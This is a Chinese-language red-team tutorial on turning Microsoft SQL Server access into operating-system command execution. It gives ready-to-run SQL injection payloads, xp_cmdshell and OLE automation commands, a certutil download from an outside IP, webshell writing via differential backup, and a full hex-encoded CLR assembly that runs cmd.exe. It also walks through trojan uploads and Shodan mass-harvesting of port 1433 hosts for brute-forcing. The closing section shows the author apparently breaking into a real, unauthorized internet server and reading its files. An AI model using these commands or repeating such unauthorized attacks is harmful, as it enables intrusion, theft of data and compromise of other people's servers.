Mssql 從測試到實戰
數據庫是存放數據的倉庫。它的存儲空間很大,可以存放百萬條、千萬條、上億條數據。但是數據庫并不是隨意地將數據進行存放,是有一定的規則的,否則查詢的效率會很低。當今世界是一個充滿著數據的互聯網世界,充斥著大量的數據。即這個互聯網世界就是數據世界。數據的來源有很多,比如出行記錄、消費記錄、瀏覽的網頁、發送的消息等等。除了文本類型的數據,圖像、音樂、聲音都是數據。
幾乎每個網站,每個企業都會用到數據庫,網絡邊界上也存在大量的數據庫服務,對于一名紅隊成員來說,獲得數據庫的訪問權限,或者執行任意數據庫查詢語句是比較容易的事兒,比如數據庫服務的弱口令、某個網站接口的 SQL 注入漏洞等,但是如何通過數據庫來獲得操作系統的權限, 執行任意系統命令,這就成了考驗紅隊成員能力的一個重要技術,本文重點就梳理那些數據庫系統,通過執行 SQL 語句就可以達到執行系統命令的目的。
0x00 如何獲取數據庫的功能權限
在實現從數據庫功能到系統權限的目標之前,首先需要獲得數據庫的訪問和操作權限,那么如何做呢?
1、數據庫口令枚舉
這個很好理解,當數據庫的端口對外開放,任何互聯網上的人都可以訪問該端口時,那么我們就可以對其進行暴力破解,是否能破解成功,取決于其口令設置的復雜度,以及我們自己密碼字典是否覆蓋其密碼,否則是無法成功暴力破解的,如果你已經獲得了內網的權限,內網所有的數據庫端口默認都是可以訪問的,除非做網絡隔離,無法跨越網段,所以對于口令枚舉這種方式,在內網橫向移動時是一個不錯的方法。
工具一:fscan
一款內網綜合掃描工具,方便一鍵自動化、全方位漏掃掃描。支持主機存活探測、端口掃描、常見服務的爆破、ms17010、redis批量寫公鑰、計劃任務反彈shell、讀取win網卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能。項目地址:
https://github.com/shadow1ng/fscan
適合內網,掃描外網服務器,丟包嚴重。
工具二:SNETCracker
超級弱口令檢查工具是一款Windows平臺的弱口令審計工具,支持批量多線程檢查,可快速發現弱密碼、弱口令賬號,密碼支持和用戶名結合進行檢查,大大提高成功率,支持自定義服務端口和字典。工具采用C#開發,需要安裝.NET Framework 4.0,工具目前支持SSH、RDP、SMB、MySQL、SQLServer、Oracle、FTP、MongoDB、Memcached、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、SVN、VNC、Redis等服務的弱口令檢查工作。工具特點:
1.支持多種常見服務的口令破解,支持RDP(3389遠程桌面)弱口令檢查。
2.支持批量導入IP地址或設置IP段,同時進行多個服務的弱口令檢查。
3.程序自帶端口掃描功能,可以不借助第三方端口掃描工具進行檢查。
4.支持自定義檢查的口令,自定義端口。
https://github.com/shack2/SNETCracker
使用比較簡單,界面程序,速度和準確度都不錯,推薦使用。
2、SQL 注入漏洞利用
從以往的經驗來看,SQL 注入漏洞一直以來都是比較危險且出現頻繁的漏洞,往往由于程序員在實現數據庫查詢功能代碼時,采用拼接字符串的方式,將參數帶入查詢語句中,從而導致 SQL 注入漏洞的產生,可以讓攻擊者利用該漏洞執行任意 SQL 語句,到目前為止,網絡邊界上的 web 系統還存在大量該漏洞,還可謂漏洞的主力。
工具一:Xray(擅長漏洞批量檢測)
xray 是一款功能強大的安全評估工具,設計理念是發最少的包,做最好的探測,可檢測漏洞包括 XSS、SQL 注入、命令注入、目錄枚舉等主流漏洞,以及集成 POC 執行框架,可任意擴展漏洞 POC,實現漏洞批量檢測的目的,項目地址:
https://docs.xray.cool/#/
工具二:SQLMap(擅長 SQL 注入漏洞深入檢測和利用)
SQLMap 是一個開源的滲透測試工具,可以用來進行自動化檢測,利用 SQL 注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。項目地址:
http://sqlmap.org/
3、多種數據庫管理工具
工具一:HeidiSQL
HeidiSQL 是免費軟件,其目標是易于學習。“Heidi”讓您可以從運行 MariaDB、MySQL、Microsoft SQL、PostgreSQL 和 SQLite 數據庫系統之一的計算機上查看和編輯數據和結構。HeidiSQL 由 Ansgar 于 2002 年發明,屬于全球最流行的 MariaDB 和 MySQL 工具。官網地址:
https://www.heidisql.com/
MSSQL(Microsoft ? SQL Server? )
MSSQL 是指微軟的 SQLServer 數據庫服務器,它是一個數據庫平臺,提供數據庫的從服務器到終端的完整的解決方案,其中數據庫服務器部分,是一個數據庫管理系統,用于建立、使用和維護數據庫。
在學習這個之前,需要先部署一個 MSSQL 服務器,具體安裝過程就不多說了,我這里搭建了兩套系統:
1、Windows 2008 + mssql 2005 2、Windows 2012 + mysql 2008
其他的系統和服務器版本,可以在實際的滲透過程中,遇到相關環境再進行深入研究,這里只是為了探究技術實現,不同版本,可能會有些許差別。
1、不同方式執行數據庫語句
方法一:利用 SQL 注入漏洞
執行數據庫語句有多種形態,比如通過 SQL 注入漏洞執行語句、通過數據庫連接器執行 SQL 語句,針對 SQL 注入,可以借助 SQLMap 工具來實現,自動化獲取系統權限,執行系統命令,比如:
sqlmap -u https://www.xazlsec.com/vuln.aspx?id=1 -p id --os-shell
或者使用 burp 手動提交,執行系統命令,比如 payload:
CursoTextBox=1%';EXEC master.dbo.xp_cmdshell 'whoami';--
有的時候,sql 注入可以執行語句但是無法直接回顯執行內容的情況下,可以借助系統下載工具,直接遠程下載惡意文件并執行,獲得 shell 之后繼續操作。
方法二:利用數據庫管理工具
SQL 語句執行工具
工具一:官方管理器
微軟官方 MSSQL 數據庫管理工具 SQL Server Management Studio,輸入服務器地址、賬號、密碼登錄:

工具二:開源小工具 NewOSql(體積小,便于上傳)
適用于內網滲透中,掃描 mssql 弱口令,以及利用執行任意數據庫語句,項目地址:
https://github.com/flight-tom/NewOSql

比如,新建一個 sql 文件,保存一下內容:
EXEC master.dbo.xp_cmdshell 'certutil -urlcache -f http://49.232.147.136:9999/testosql';
然后執行命令:
oSQL.exe -S 192.168.142.113 -U sa -P admin@123 -o .\logs.txt -i whoami.sql -d master -e .\excel.csv
在遠程服務器能夠看到一個鏈接的信息,如圖:

只要有賬號密碼信息,就可以利用這個小工具執行任意數據庫的語句。
工具三:微軟官方 sqlcmd(官方軟件,需要安裝必要依賴)
安裝需要:ODBC Driver for SQL Server 和 sqlcmd Utility,下載地址:
https://docs.microsoft.com/en-us/previous-versions/sql/2014/tools/sqlcmd-utility?view=sql-server-2014&preserve-view=true
https://docs.microsoft.com/en-us/sql/connect/odbc/download-odbc-driver-for-sql-server?view=sql-server-ver15
連接命令:
sqlcmd -S 192.168.142.113 -U sa -P admin@123
輸入命令之后需要輸入 go 執行該命令,如圖:

具體其他的利用方式,后續在實際場景中進行介紹。
2、利用 MSSQL 自身功能進行文件操作
文件操作都需要將內容轉為 16 進制,腳本參考:
#!/usr/bin/env python# coding=utf-8import urllibimport binasciiimport sysimport osdef str2hex(string): hexstr=binascii.b2a_hex(bytes(string, encoding='utf-8')) out = bytes("0x", encoding='utf-8') out = out + hexstr print(out)def b2a(filename): with open(filename,'rb') as f: hexstr=binascii.b2a_hex(f.read()) out = bytes("0x", encoding='utf-8') out = out + hexstr print(out) if __name__=="__main__": filename = sys.argv[1] if os.path.exists(filename): b2a(filename) else: str2hex(filename)
比如將字符串 "VulnTest" 轉為 16 進制串:
D:\tools\sqlhack>python s2bin.py VulnTestb'0x56756c6e54657374'
場景一:利用差異備份獲取 webshell
接下來就嘗試使用 SQL 語句來將字符串內容 VulnTest 寫入 c 盤的根目錄(后續根據需要,寫入 web 目錄即可),文件名為 vuln.txt,使用腳本將路徑 c:\vuln.txt 轉為 16 進制串:
0x633a5c76756c6e2e747874
設置一個備份文件名 c:\db.bak,通用要將其轉為 16 進制:
0x633a5c64622e62616b
然后開始差異備份,可以先創建一個數據庫,減小備份的體積:
create database vulntest;use vulntest;
第一步:備份數據庫到 c:\db.bak:
backup database vulntest to disk = 'c:\ddd.bak'
第二步:創建一個表 vulntest:
create table [dbo].[vulntest] ([cmd] [image]);
第三步:將文件內容插入到數據表中:
insert into vulntest(cmd) values(0x56756c6e54657374);
第四步:差異備份:
backup database vulntest to disk='c:\vuln.txt' WITH DIFFERENTIAL,FORMAT;
以上命令可以合在一起執行,也可以單獨執行,成功執行之后,會在 c 盤下生成兩個文件,一個是備份的 ddd.bak,一個是 vuln.txt,看看 vuln.txt 中是否包含關鍵詞 VulnTest:

這種對于利用 sql 注入上傳 webshell 是比較有用的。
場景二:上傳二進制文件到數據庫服務器
當我們獲得一個數據庫服務器的 sa 權限之后,需要將我們的木馬文件或者抓 hash 文件傳入服務器,然后執行該程序來獲得一個通道或者抓取當前用戶的密碼信息,這個時候,就需要用到利用 MSSQL 數據庫上傳二進制文件的功能。
第一步,啟用 Ole Automation Procedures:
-- Step 1: Enable Ole Automation Proceduressp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;
第二步將 test 寫入到 c 盤的 info.txt 中:
-- Step 2: Write Text FileDECLARE @OLE INTDECLARE @FileID INTEXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUTEXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\info.txt', 8, 1EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'test'EXECUTE sp_OADestroy @FileIDEXECUTE sp_OADestroy @OLE
在目標服務器 c 盤下可以看到最新寫入的文件,如果想要寫入二進制文件呢?首先將二進制文件,轉為 mssql 支持的 hex 字符串,執行上面提供的腳本即可,然后替換下面的 0xhex, 執行下面的語句:
DECLARE @ObjectToken INTEXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUTEXEC sp_OASetProperty @ObjectToken, 'Type', 1EXEC sp_OAMethod @ObjectToken, 'Open'EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0xhexEXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'c:\Test.exe', 2EXEC sp_OAMethod @ObjectToken, 'Close'EXEC sp_OADestroy @ObjectToken
執行成功后,在服務器的 c 盤下,然后就可以執行該工具。使用完之后,可以將之前開啟的功能恢復,命令:
-- Step 3: Disable Ole Automation Proceduressp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
3、利用 MSSQL 的權限執行系統命令
場景一:利用 xp_cmdshell 執行系統命令
xp_cmdshell 是 Sql Server 中的一個組件,我們可以用它來執行系統命令。利用前提是數據庫服務未被降權,可以執行任意存儲過程,在利用之前需要先判斷 xp_cmdshell 的狀態,是否已經開啟,默認是關閉的,命令如下:
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
如圖(已開啟):

如果未開啟的話,需要執行下面的命令進行開啟:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
開啟之后就可以執行任意的系統命令,比如:
exec master..xp_cmdshell 'whoami'
可以看到當前用戶權限是 system 權限,也有可能是 network service 權限,這個是跟安裝過程中,設置啟動服務的用戶權限相關,建議使用 network service 權限,畢竟如果是 system 權限,那么對于攻擊者而言都省下提權的操作了,如圖:

接下來就可以執行任意系統命令,本專題的目標已經達成。題外話,實際的目標中管理員可能刪除這個擴展,當然,我們也可以通過 xplog70.dll 來進行恢復,命令如下:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','C:\\Program Files (x86)\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Binn\\xplog70.dll';
xplog70.dll 通常在 MSSQL 的安裝目錄下,找到實際安裝位置,替換之后,執行上面的命令即可。
場景二:利用 com 組件 SP_OACREATE 來執行命令
利用 SP_OACREATE 之前,需要先確認該組件是否啟用,查詢命令:
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

能搜索出結果,說明組件已開啟,如果沒有開啟的情況下,可以使用下面的命令進行啟用:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
那么接下來就可以利用這個組件進行命令執行了,這個沒有 xp_cmdshell 好用的地方就是不能回顯,可以將執行命令的結果進行重定向,然后再進行查看,比如命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'
執行成功后,不會有內容返回,如圖:

接下來去看看 c 盤下的 test.txt 內容:

可以看到命令已經執行成功,并且創建了文件,當前系統管理員是系統權限。
場景三:利用 CLR 執行系統命令
這種方法比較麻煩,需要自行根據目標創建項目代碼,然后進行編譯,相關描述如下:
CLR 微軟官方把他稱為公共語言運行時,從 SQL Server 2005 (9.x) 開始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共語言運行時 (CLR) 組件。這意味著現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)來編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合和流式表值函數。
利用之前首先使用 VS 創建一個 MSSQL 的項目,我使用的是 VS 2015,如圖:

針對不同的目標數據庫版本需要進行配置,右鍵項目,點擊屬性,然后選擇對應數據庫版本,如圖:

我的測試目標是 mssql 2005,所以選擇 SQL server 2005,最好各個版本都創建一份,以后直接使用即可。然后右鍵項目,添加新建項,然后選擇 SQL CLR C# 存儲過程,如圖:

將下面的代碼復制進去:
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using System.Diagnostics;using System.Text;using Microsoft.SqlServer.Server;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { // 在此處放置代碼 SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } public static string RunCommand(string filename,string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); string stdError = null; try { process.Start(); process.BeginOutputReadLine(); stdError = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception e) { SqlContext.Pipe.Send(e.Message); } if (process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { var message = new StringBuilder(); if (!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if (stdOutput.Length != 0) { message.AppendLine("Std output:"); message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); } return stdOutput.ToString(); }}
然后編譯項目,之后到編譯目錄下可以看到一個dacpac后綴的文件,如圖:

將該文件解壓之后,會得到幾個 xml 文件,如圖:

打開 model.xml,其中有兩個長的 hex 內容,提取 0x4D5A 開頭的那個,如圖:

然后替換到下面的 SQL 語句中:
CREATE ASSEMBLY [ExecCode] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030054459C610000000000000000E00002210B010B00000E000000060000000000004E2C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000F82B000053000000004000009802000000000000000000000000000000000000006000000C000000C02A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000540C000000200000000E000000020000000000000000000000000000200000602E7273726300000098020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000302C00000000000048000000020005007C220000440800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280500000A72010000706F0600000A00280500000A7243000070725300007002280700000A28020000066F0600000A002A1E02280800000A2A4E027B01000004046F0900000A6F0A00000A262A001B300400B6010000010000117304000006130400730B00000A0A066F0C00000A026F0D00000A0003280E00000A130611062D0F00066F0C00000A036F0F00000A0000066F0C00000A176F1000000A00066F0C00000A176F1100000A00066F0C00000A166F1200000A00066F0C00000A176F1300000A00066F0C00000A176F1400000A001104731500000A7D01000004061104FE0605000006731600000A6F1700000A00140B00066F1800000A26066F1900000A00066F1A00000A6F1B00000A0B066F1C00000A0000DE160C00280500000A086F1D00000A6F0600000A0000DE0000066F1E00000A16FE0116FE01130611062D1E00280500000A11047B010000046F1F00000A6F0600000A0000389E00000000731500000A0D07280E00000A130611062D0A0009076F0A00000A260011047B010000046F2000000A16FE01130611062D210009725D0000706F0A00000A260911047B010000046F1F00000A6F0A00000A2600280500000A1C8D01000001130711071602A211071703A21107187275000070A2110719066F1E00000A8C13000001A211071A72AD000070A211071B09A21107282100000A6F0600000A000011047B010000046F1F00000A13052B0011052A0000011000000000990025BE0016120000011E02280800000A2A42534A4201000100000000000C00000076322E302E35303732370000000005006C000000A4020000237E000010030000B003000023537472696E677300000000C0060000B4000000235553007407000010000000234755494400000084070000C000000023426C6F620000000000000002000001571502000902000000FA25330016000001000000140000000300000001000000050000000500000022000000050000000100000001000000030000000100000000000A00010000000000060035002E000600830070000B00970000000600C600A6000600E600A6000A00310116010A00470116010A0052011601060068012E000600950189010E00AD0170000E00F40170000E00FC0170000E00570270000E00C3027000060017030D03060036030D03060057032E0006008E032E0006009403A6000000000001000000000001000100010010001400000005000100010003011000760100000500010004000600A301330050200000000096003C000A000100A02000000000960048000F000200742200000000861853001500040083200000000086185300150004008B20000000008600C30137000400000001005900000001005D0000000200660000000100D40100000200DB01110053001900210053001F0029005300150031005300150039005A012900410063012E0049006F010F000900530015005900E0013E005100E901420061005300150061000D02480069001B022E00490028024D00690036022E0069004402520069006A02570069007A02520069008E0252006900A8025200510053001500790053005D006100DC0263006100F30269006100F9021500610024036D00890041033E0061004B031500910061033E0061006D03720009007A033E0051008303720049006F017600A100530015002000230024002E000B008C002E00130095002E001B009E006300130124007C0004800000000000000000000000000000000004010000020000000000000000000000010025000000000002000000000000000000000001000A010000000002000000000000000000000001002E00000000000300020000000000003C4D6F64756C653E006462636C722E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740045786563436F6D6D616E640052756E436F6D6D616E64002E63746F7200636D640066696C656E616D6500617267756D656E74730053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465006462636C720053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053716C436F6E746578740053716C50697065006765745F506970650053656E6400537472696E6700436F6E636174003C3E635F5F446973706C6179436C617373310053797374656D2E5465787400537472696E674275696C646572007374644F7574707574004461746152656365697665644576656E7441726773003C52756E436F6D6D616E643E625F5F300073656E6465720061726773006765745F4461746100417070656E644C696E650050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D650049734E756C6C4F72456D707479007365745F417267756D656E7473007365745F4372656174654E6F57696E646F770050726F6365737357696E646F775374796C65007365745F57696E646F775374796C65007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644572726F72007365745F52656469726563745374616E646172644F7574707574004461746152656365697665644576656E7448616E646C6572006164645F4F757470757444617461526563656976656400537461727400426567696E4F7574707574526561644C696E650053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644572726F7200546578745265616465720052656164546F456E640057616974466F724578697400457863657074696F6E006765745F4D657373616765006765745F45786974436F646500546F537472696E67006765745F4C656E67746800496E74333200436F6D70696C657247656E6572617465644174747269627574650000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000ED3219EB99F8F64DA144A6288262E70F0008B77A5C561934E089040001010E0500020E0E0E0320000105200101110D042001010804010000000400001221042001010E03061229062002011C122D0320000E05200112290E0420001235040001020E0420010102052001011139052002011C1805200101123D032000020420001241032000080500010E1D1C0F070812310E12491229120C0E021D1C0801000701000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010000000000000054459C6100000000020000001C010000DC2A0000DC0C0000525344530BC4B24BC8BD91419400F7E2BA5F424901000000643A5C746F6F6C735C6462636C725C6462636C725C6F626A5C44656275675C6462636C722E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000202C000000000000000000003E2C0000002000000000000000000000000000000000000000000000302C000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000003C02000000000000000000003C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B0049C010000010053007400720069006E006700460069006C00650049006E0066006F0000007801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000034000A00010049006E007400650072006E0061006C004E0061006D00650000006400620063006C0072002E0064006C006C0000002800020001004C006500670061006C0043006F0070007900720069006700680074000000200000003C000A0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006400620063006C0072002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;GO
接下來使用數據庫執行該命令,如圖:

首次執行報錯,可以使用下面的命令開啟 clr 功能:
sp_configure 'clr enabled', 1GORECONFIGUREGO
使用下面的命令讓導入的不安全程序集標記為安全:
ALTER DATABASE master SET TRUSTWORTHY ON;
然后重啟 MSSQL 服務才能生效,在實際利用中還是比較雞肋,執行之前報錯的語句成功之后,執行:
CREATE PROCEDURE [dbo].[ExecCommand]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [ExecCode].[StoredProcedures].[ExecCommand]go

現在就可以執行系統命令了,命令如下:
exec dbo.ExecCommand "whoami";

這種方法也不是萬能的,如果目標開啟了 clr 的功能,是可以使用的,如果沒有開啟,自行開啟需要重啟服務,就比較難以控制了。
4、外網環境下收集目標并進行弱口令檢測
第一步:使用網絡空間搜索引擎,獲取全網開放 1433 端口的 IP 列表
首先安裝 shodan 的庫:
pip install shodan
然后初始化 key ,然后下載相關數據:
shodan init shodanAPIKEYshodan download --limit 1000000 mysql.txt product:"MS-SQL"
第二步:使用 PortBrute 對其進行暴力枚舉嘗試
外網爆破可以使用這種方式,如果是內網嘗試爆破弱口令,不宜使用批量掃描工具,建議使用 osql、sqlcmd 等原生工具,進行單個賬號密碼嘗試,以減少被流量審計的可能性。
關于 MSSQL 的弱口令問題,外網存在的可能性比較小,我嘗試收集了 18 萬 IP,使用弱口令字典:sa:sa
首先將目標 IP 列表整理成 ip:port 格式,然后執行命令:
PortBruteWin.exe -f mssqlipport.txt -u user.txt -p pass.txt -t 100
發現若干存在弱口令的問題,接下來就可以進行實戰演練了。
第三步:嘗試使用 xp_cmdshell 執行系統命令
首先看看當前數據庫的版本信息,使用命令 SELECT @@version,發現數據庫版本為 MSSQL 2012,執行下面的命令查看是否存在 xp_cmdshell:
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

看到是存在的,那么直接使用 xp_cmdshell 執行命令:
exec master..xp_cmdshell 'whoami'

發現報錯了,去看看是什么原因導致的,谷歌搜索 mssql error 15121,網上的資料說是需要啟動 xp_cmdshell,執行語句:
EXEC sp_configure 'show advanced options', 1RECONFIGUREEXEC sp_configure 'xp_cmdshell', 1RECONFIGURE

發現又報錯了,這次是 5808,再次搜索看看問題,可能目標系統是 mssql 2008 以上,所以需要改為下面的命令,就可以執行成功。
EXEC sp_configure 'show advanced options', 1RECONFIGURE WITH OVERRIDEEXEC sp_configure 'xp_cmdshell', 1RECONFIGURE WITH OVERRIDEEXEC sp_configure 'show advanced options', 0RECONFIGURE WITH OVERRIDE
執行結果:
/* 受影響記錄行數: 0 已找到記錄行: 0 警告: 0 持續時間 1 查詢: 0.062 秒. */
雖然更新成功但是并未有任何改變,再次執行命令,發現還是不行,再次搜素 xp_cmdshell. A call to 'CreateProcess' failed with error code: '5'相關問題,發現可能是權限不夠,sa 賬號可能被降權了,無法直接利用這個方法執行系統命令。那么還能做什么呢?列目錄試試:
exec xp_subdirs 'C:'; #列目錄exec xp_dirtree 'c:',1,1 #列文件

可以看到有 360 的目錄,之前無法執行 xp_cmdshell 的原因,可能是殺毒軟件給攔截了,那么在進行測試時,可以先看看目標是否存在殺毒軟件之類的防護系統,如果有,大概率是無法做更深入的操作的。試試讀文件:
create table cmd (a text); #創建一個表BULK INSERT cmd FROM ‘c:/RlgwMCS.ini’ WITH ( FIELDTERMINATOR = ‘n’, ROWTERMINATOR = ‘nn’ ) #將文件存入數據庫表中select * from cmd #查詢內容

這個讀文件的能力其實已經可以把系統上大部分關鍵敏感信息給讀取到了。